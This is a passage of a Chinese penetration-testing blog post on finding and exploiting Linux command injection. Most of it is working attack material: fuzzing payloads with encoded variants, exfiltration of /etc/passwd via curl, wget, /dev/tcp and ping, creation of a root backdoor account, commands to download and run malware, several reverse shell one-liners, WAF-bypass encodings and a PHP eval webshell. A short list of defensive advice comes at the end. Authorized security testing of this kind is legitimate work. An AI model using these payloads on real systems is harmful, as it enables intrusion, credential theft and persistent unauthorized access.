因为我不知道后台代码可能怎么处理,所以只能尝试所有可能性。接下来我们要做两件事,第一是准备命令注入的payload,第二是逐个遍历键值对,把所有payload添加到键值对的值中。(当然这里可能有很多优化空间,本文用最简单最暴力的方式就是两个for循环,一个是for键值对,一个是for payload,达成所有键值对所有payload的遍历)
命令注入payload准备
payload的准备考虑以下几点
- 带内回显的命令注入
- 带内无回显,带外请求命令注入
- 带内无回显,基于延时的盲注
- 基于已有shell的命令注入
- 定位到请求包 / 定位到业务功能
- 注入的命令尽量保证系统中存在
- pyaload的目的是快速找到注入点,所以payload应该要精简高效
接下来解释一下为什么这么考虑。
首先命令注入的检测要根据状态来判断是否存在注入点。状态可以分为带内回显,带外回显,及基于延时的盲注。所谓带内是指在http的response中回传,带外是指并非在http的response中回传,而是通过其他通道如DNSlog,wget其他http请求,反弹tcp请求等等。如果带内带外都没任何反应,可以考虑基于延时的注入比如sleep命令,比如ping -c命令。最后还有一种情况是在甲方测试,虽然可能你拿不到源代码,但是产品线可以提供给你ssh后台账户密码,允许你登录后台,这种情况下,即使上述上种情况都失效,可以尝试这种,比如在/bin下面自定义一个命令,如pentest命令,这是一个脚本,当执行脚本时,会在本地记录一些必要信息供后期跟踪定位。
接下来要考虑的是无论带内,带外,或者是延时等场景,怎么快速定位到对应的请求包以及对应的业务功能。
快速定位到请求包相对还是比较容易的,一种方法是把payload和请求做一些绑定,比如针对上述“请求样例1”的请求,生成一个唯一码uuid,然后在payload中利用uuid去请求,比如payload设置为wget 192.168.1.2/uuid, 这样带外收到这个请求之后,也能快速定位到是哪个请求触发了命令注入。
快速定位要业务功能是一个难题,因为可能存在一种场景是payload非常多,键值对也非常多,或者每个请求间隔需要较长时间,这会导致扫描遍历速度比业务功能操作速度慢。
监控发现异常,根据上面说的,可以快速定位到请求包,但是很难请求包对应的业务功能。
针对这种情况,我的想法是如果是基于时间的盲注,如果发现超时,可以把疑似存在漏洞的请求记录在日志中,再继续进行测试。因为基于时间的盲注有一定的误报率。先找到请求包,再去找功能点。
而针对带内回显和带外的请求,如果监控到异常,那就意味着大概率存在命令注入漏洞,这时候我的建议是暂停下来进行分析,而不是继续遍历测试。
这么做的考虑的第一点是一个系统不一定有很多的命令注入点,找到一个如果顺利能拿到高权限的shell,可以直接白盒审计。
第二点是如果payload足够精简,基本上请求和业务功能是同步的,如果在业务功能操作过程扫描器停止,就可以判断大体上是在哪个功能上存在命令注入漏洞。
下面要考虑的就是怎么让payload精简高效,优先考虑的是尽量避免带空格的payload,像reboot,id,whoami等命令就是很好的payload,另外要考虑的问题是注入的命令尽量保证系统中存在,比如带nc的payload可能很多时候就会失效,不是因为没有注入点,而是系统没有nc命令。
最后要说的是既然是黑盒测试,就不用考虑完美的payload和保证覆盖100%,payload理论上可以有无穷多个,每个payload都要考虑前缀,后缀,单引号,双引号,大中小括号等等复杂请求,比如某种情况下,要”))))才能闭合前面的命令进行注入,这种情况想要依靠payload来保证覆盖度是不太现实的。
拿上面的请求来说,body的第一个参数r=0.5378963,我们去测注入可能会尝试r=0.5378963`whoami`, r=0.5378963;cat$IFS/etc/passwd}, r=0.5378963;wget%20192.168.1.2/xxx 等等情况,最后没测出来。但未来有一天被人发现r=0.5378963”))));${cat%20/etc/passwd}可以注入成功。这种时候除了跟老板道歉承认技不如人,也没有其他办法了,orz!
上面谈了这么多对payload的想法,接下来在准备payload之前,还需要介绍一些Linux下的背景知识,以便后续更好的理解及准备payload。
Linux命令注入基础知识
linux命令行特殊符号:
- | 管道
- & 后台执行
- || 逻辑或,当前面命令执行失败后执行后面的命令
- && 逻辑与,当前面命令执行成功后执行后面的命令
- ; 命令分隔,执行完前面命令后再执行后面命令
- ` 执行反引号内部的命令
- ’ 单引号内部的字符串不会被扩展解释,只会被单作普通字符
- ” 双引号内部的字符串不会被通配符的扩展,但允许变量扩展
- () 指令群,括号内部执行以分号隔开,(command1;command2[;command3…]),新开一个子shell顺序执行命令
- (()) 与 let 指令相似,用在算数运算上
- {} 大括号有三个作用
- 1)拼接字符串,如cat {/fl,/fla}{ag,g}
- 2)执行指令群,要注意的是指令群第一条指令和左括号要有一个空格,最后一条指令要加分号, 如{ command1;command2;[command3;…]),在当前shell顺序执行命令
- 3)在大括号内还可以通过用逗号为分隔符如 {ls,}, {cat,/etc/passwd} 进行命令执行
- [] 逻辑判断及集合功能,如cat fl[a-z]g, 可以达到cat flag的效果。
-
[[]] 逻辑判断功能,如[[ $ak > 5 $ak< 9 ]] - > 标准输出重定向
- >> 标准输出追加重定向
- < 标准输入重定向
- << cmd << text 从命令行读取输入,直到一个与text相同的行结束。
- <<< cmd <<< word 把word(而不是文件word)和后面的换行作为输入提供给cmd。
- 0 标准输入描述符
- 1 标准输出描述符
- 2 标准错误输出描述符
- >& 描述符拷贝,比如2>&1的意思是把标准错误输出重定向到标准输出(后面反弹shell会提到)
- IFS 由 < space > 或 < tab > 或 < enter > 三者之一组成
- CR 由 < enter > 产生
更多Linux命令注入基础知识可查看参考材料[16],[17]。(本文对参考材料[17]的引用较多,如原作者有要求可联系笔者删除)
关于输入输出重定向的说明,可查看参考材料[19]了解更多。
Linux中比较常用的命令拼接符
- | 管道
- & 后台执行
- ; 命令分隔,执行完前面命令后再执行后面命令
- ` 执行反引号内部的命令
- $() 命令执行
- %0a \n的URL编码 newline把光标移动到下一行
- %0d \r的URL编码 return把光标移动到当前行的最左边
命令注入代码拼接分析
前面用了大量的篇幅介绍了C/C++,Java, PHP, Python, Go以及Rust语言的命令执行错误实现。这些实现都有一个共性是把用户的输入拼接在命令中并调用函数执行命令。
命令拼接的原语句可能会比较复杂,比如涉及多个单双引号,各种形式的括号。以双引号来说,并不影响反引号的执行,而单引号会影响反引号的命令执行,所以最终在考虑payload时候,要考虑闭合单引号的情况。至于括号的情况就比较复杂,可以假设真的有漏洞也比较难被发现,暂时不去考虑这种情况。
我们以 encode(prefix + Chaining(injection cmd) + postfix) 的形式介绍payload的扩展。
prefix和postfix的作用是让Chaining(injection cmd)在逻辑上有效。
假设原语句是 os.system(“bash -c ‘ls -al “ + input + “’” > /dev/null”)
injection cmd = reboot
Chaining(injection cmd) = `reboot`
prefix = postfix = '
encode可有可无,encode可以是url编码,可以是base64编码等等
一个有效的payload为'`reboot`'。
我按照以下的逻辑来扩展payload:原始injection cmd –> ${IFS}替代空格 –> 前后加反引号(URL编码) –> 前后加单引号(URL编码)
这里前后加反引号,以及${IFS}替代空格属于Chaining过程,而URL编码属于encode过程。
cat /etc/passwd 原始注入命令
cat${IFS}/etc/passwd 替代空格
`injection${IFS}cmd` 添加命令拼接符号,经测试发现,反引号和$(), 比分号,管道等更好用一些。
%60%69%6e%6a%65%63%74%69%6f%6e%24%7b%49%46%53%7d%63%6d%64%60 URL编码
'`injection${IFS}cmd`' 添加单引号,闭合可能存在单引号的情况
%27%60%69%6e%6a%65%63%74%69%6f%6e%24%7b%49%46%53%7d%63%6d%64%60%27 URL编码
下面是梳理出的原始injection cmd,这些cmd都可以通过上述方式扩展成最终paylaod
injection cmd梳理
# 带内回显
cat /etc/passwd
# 带外请求
echo uuid>/dev/tcp/ip/port
wget `whoami`.xxx.dnslog.io
wget ip:port/uuid
curl -T /etc/passwd ip:port
# 基于延时的payload
reboot
sleep 30
ping -c 30 192.168.1.2
# 基于已有shell的payload
pwd>/tmp/cmdi_uuid
payload梳理
`reboot`
'`reboot`'
%60%72%65%62%6f%6f%74%60
%27%60%72%65%62%6f%6f%74%60%27
`sleep${IFS}30`
{sleep,30}
'`sleep${IFS}30`'
'{sleep,30}'
%60%73%6c%65%65%70%24%7b%49%46%53%7d%33%30%60
%27%60%73%6c%65%65%70%24%7b%49%46%53%7d%33%30%60%27
`echo${IFS}uuid>/dev/tcp/ip/port`
'`echo${IFS}uuid>/dev/tcp/ip/port`'
%60%65%63%68%6f%24%7b%49%46%53%7d%75%75%69%64%3e%2f%64%65%76%2f%74%63%70%2f%69%70%2f%70%6f%72%74%60
%27%60%65%63%68%6f%24%7b%49%46%53%7d%75%75%69%64%3e%2f%64%65%76%2f%74%63%70%2f%69%70%2f%70%6f%72%74%60%27
上面的这些payload中,reboot有效的前提是进程以root权限运行,sleep有效的前提是sleep命令使主进程阻塞,而非在后台执行。所有payload有效的前提是没有被特殊字符过滤,大家可以看到上述payload都是基于反引号,如果反引号被过滤,那么这些payload就都失效,但这并不意味着目标系统就没有注入点。
我在参考材料[18]看到一份命令注入模板,这个模块也可以提供一些生成payload的思路, 我截取一部分在下面展示。
{cmd}
;{cmd}
;{cmd};
^{cmd}
|{cmd}
<{cmd}
<{cmd};
<{cmd}\n
<{cmd}%0D
<{cmd}%0A
&{cmd}
&{cmd}&
&&{cmd}
&&{cmd}&&
%0D{cmd}
%0D{cmd}%0D
%0A{cmd}
%0A{cmd}%0A
\n{cmd}
\n{cmd}\n
'{cmd}'
`{cmd}`
;{cmd}|
;{cmd}/n
|{cmd};
a);{cmd}
a;{cmd}
a);{cmd}
a;{cmd};
a);{cmd}|
...
自动化工具完成键值对遍历
我写的被动式扫描工具 MossbackScanner 有实现该功能,虽然工具现在还比较简陋,但凑合着也还能用。下面是针对命令注入遍历的一段代码。
def test_cmdi_uri(self, method, uri, version, header, body, host):
params = uri.split('?')
if len(params) == 2:
path = params[0] + '?'
params = params[1].split('&')
for i in range(len(params)):
param_bak = params[i]
for payload in self.payloads:
time.sleep(
0.001 * self.conf["interval"] + 0.001 * random.randint(1, 9))
params[i] = param_bak + payload.strip()
uri_new = '&'.join(params)
if self.send_recv(method, path + uri_new, version, header, body, host) is True:
break
params[i] = param_bak
def test_cmdi_body(self, method, uri, version, header, body, host):
bodys = body.split('&')
for i in range(len(bodys)):
body_bak = bodys[i]
for payload in self.payloads:
time.sleep(
0.001 * self.conf["interval"] + 0.001 * random.randint(1, 9))
bodys[i] = body_bak + payload.strip()
body_new = '&'.join(bodys)
if self.send_recv(method, uri, version, header, body_new, host) is True:
break
bodys[i] = body_bak
命令注入利用
前面我们利用payload和自动化工具跑出了命令注入点,接下来要看看这么利用注入点,利用的最大目标是希望能反弹shell,或者是拿到webshell,至于权限提升,不在本文讨论范围,我计划后续补一篇Linux提权的文章。
现在假设执行到这里,已经在命令注入测试过程,发现了注入点,我们需要进一步利用以达到渗透的目的。
命令注入可以做什么?
- 收集系统信息
- 修改系统配置
- 新建后门帐户
- 下载系统文件
- 上传恶意程序/脚本/webshell
- 监听shell连接
- 反弹shell
收集系统信息
如果是带内回显,那么执行ls,cat等命令可以收集系统信息。
如果是带外回传信息,小数据可以考虑DNSlog请求外带,也可以wget HTTP请求外带。
wget `whoami`.xxx.dnslog.io
wget ip:port/`whoami`
如果是大数据,可以考虑把结果重定向到本地,再通过文件传输方式下载目标文件。
也可以考虑通过ls,cat后进行base64编码,直接把base64的结果回传到目标tcp端口。
比如 echo `ls | base64` > /dev/tcp/ip/port,本地执行脚本监听回传的信息,脚本内容如下:
import socket
import base64
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
skt.bind(('', 7777))
skt.listen()
while True:
cli, _ = skt.accept()
allmsg = ''
skt.settimeout(5)
while True:
try:
msg = cli.recv(1024).decode()
if len(msg) > 0:
allmsg += msg
else:
break
except:
break
skt.settimeout(999999)
try:
print(base64.b64decode(allmsg).decode())
except Exception as exp:
print(exp)
基础信息收集
# 查看当前用户
whoami
id
# 查看系统账户
cat /etc/passwd
cat /etc/shadow
# 查看进程信息
ps -aux
ps -auxef
pstree
# 查看监听端口
netstat -tulnp
# 查看系统挂载信息
mount
# 查看系统及内核版本
cat /etc/issue
uname -a
查看系统支持的所有系统命令
echo $PATH | awk -F: '{for(i=1;i<=NF;i++){cmd="echo "$i";ls -al "$i;system(cmd)}}'
查看所有可写目录
ls / | awk '{for(i=1;i<=NF;i++){cmd="echo "$i";touch /"$i"/pentest_writable.tmp";system(cmd)}}'
# 删除测试touch出来的文件
ls / | awk '{for(i=1;i<=NF;i++){cmd="echo "$i";rm /"$i"/pentest_writable.tmp";system(cmd)}}'
新建系统帐户
useradd pter
echo "pter:admin123" | chpasswd
sed -i 's/^\(pter:[^:]\):[0-9]*:[0-9]*:/\1:0:0:/' /etc/passwd
下载系统文件
curl -T /etc/passwd dst_ip:dst_port
curl http://ip:port -F a=@/etc/passwd
nc -lvp port < /etc/passwd
wget --post-data="`cat /etc/passwd`" http://ip:port
wget --post-file=/etc/passwd http://ip:port
telnet ip port < /etc/passwd
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 ip; done
上传恶意程序/脚本
比如上传nc程序,挖矿病毒,勒索病毒,远程控制木马等
wget -O /可写目录 ip:port/malware
wget -P /可写目录 ip:port/malware
chmod 777 /可写目录/malware
/可写目录/malware &
sh -x /可写目录/malware
上传webshell
webshell可以在 https://github.com/tennc/webshell 找一个顺手的,比较有名的有webshell三兄弟ASPXSPY、PHPSPY、JSPSPY。
监听shell连接
nc -e /bin/sh -lnp 7777 &
反弹shell
反弹shell可以直接通过命令注入反弹,也可以通过上传反弹shell的脚本文件,再执行脚本完成反弹操作。
sh -i > /dev/tcp/ip/port 2>&1 0>&1
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done
或者
0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196
nc -e /bin/sh ip port
或者
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
了解更多,可查看参考材料[20].
命令注入绕过
按理说在利用之前,命令注入测试过程,应该要考虑waf绕过,实际上如果确定目标系统存在waf,应该先手动去探测waf的过滤规则,这个也不在本文讨论范围。本文更多的是围绕测试覆盖度的角度。以waf为例,先确定waf绕过规则,再定制payload,再利用自动化工具去跑payload。
命令注入绕过可能会用到的通配符
- * 匹配任意长度任意字符
- ? 匹配任意单个字符
- [list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
- [^list] 匹配指定范围外的任意单个字符或字符集合
- [!list] 同[^list]
- {str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合
比如
cat /e??/??sswd
cat /?t?/p[a-z]sswd
cat /??c/p{"as","ss"}swd
空格绕过
使用<或者<>
$ cat</flag
flag{xxx}
$ cat<>/flag
flag{xxx}
使用$IFS或者$9
$ cat$IFS$9/flag
flag{xxx}
$ cat${IFS}/flag
flag{xxx}
$ cat$IFS/flag
flag{xxx}
使用url编码绕过
Linux bash可以使用%20(space)、%09(tab)、%3c(<)以及+来绕过
花括号拓展{OS_COMMAND,ARGUMENT}绕过
在Linux bash中还可以使用{cat,/etc/passwd}来绕过 base64编码绕过
变量控制绕过
$ X=$'cat\x20/flag'&&$X
flag{xxx}
$ X=$'cat\x09/flag'&&$X
flag{xxx}
采用$@绕过
$ c$@at /fl$@ag
flag{xxx}
$ echo i$@d
id
$ echo i$@d|$0
uid=0(root) gid=0(root) groups=0(root)
绕过WAF绕过
变量控制绕过
$ a=l;b=s;$a$b
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
$ a=c;b=at;c=flag;$a$b $c
flag{xxx}
编码绕过
$ echo "Y2F0IC9mbGFn"|base64 -d|bash
flag{xxx}
#base64_endcode("cat /flag") => Y2F0IC9mbGFn
#base64可能会出现/
$ echo "636174202f666c6167" | xxd -r -p|bash #hex 十六进制编码
flag{xxx}
$ $(printf "\154\163") #oct
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
$ $(cat /flag)
bash: flag{xxx}: 未找到命令
$ $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{xxx}
$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
$ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
单引号双引号绕过
$ c"a"t /f''l'a'g
flag{xxx}
反斜线绕过
$ c\a\t /f\l\ag
flag{xxx}
利用已经存在的资源绕过
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ echo $PATH| cut -c 1
/
利用一些已有字符绕过
${PS2} 对应字符 >
${PS4} 对应字符 +
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
安全建议
- 执行代码审计,审计命令执行代码
- 禁用系统执行函数
- 通过通用接口/库函数实现对应功能,而不是通过执行命令实现
- 不要用system系函数,用exec系函数
- 调用exec系函数,并禁止调用解释器程序
- 对系统执行函数参数做严格的检测(白名单过滤)
- 通过单引号进行拼接,并转义命令行中的所有单引号
- 权限最小化(用非root权限执行应用程序)
- 系统命令裁剪
- 可信环境(执行程序签名校验)
参考材料
[1] https://www.cs.uleth.ca/~holzmann/C/system/shell_commands.html
[2] https://stackoverflow.com/questions/5769734/what-are-the-different-versions-of-exec-used-for-in-c-and-c
[3] https://www.anquanke.com/post/id/229611#h3-1
[4] http://blog.leanote.com/post/snowming/608bafbfc9eb
[5] https://stackoverflow.com/questions/89228/how-to-execute-a-program-or-call-a-system-command-from-python
[6] https://b1ngz.github.io/java-os-command-injection-note/
[7] https://www.php.net/docs.php
[8] https://www.kancloud.cn/a173512/php_note/1460404
[9] https://docs.python.org/3/library/
[10] https://gobyexample.com/
[11] https://doc.rust-lang.org/std/process/struct.Command.html
[12] https://kaisery.github.io/trpl-zh-cn/ch12-01-accepting-command-line-arguments.html
[13] https://v0w.top/2020/08/26/CodeAudit-php/#0x02-%E4%BB%8E%E4%BB%A3%E7%A0%81%E6%9C%AC%E8%BA%AB%E6%89%BE%E6%BC%8F%E6%B4%9E
[14] https://paper.seebug.org/763/
[15] https://www.aqniu.com/learn/46910.html
[16] https://linux.die.net/man/1/bash
[17] https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
[18] https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/os-cmd-execution/command-injection-template.txt
[19] https://xz.aliyun.com/t/2548
[20] https://xz.aliyun.com/t/2549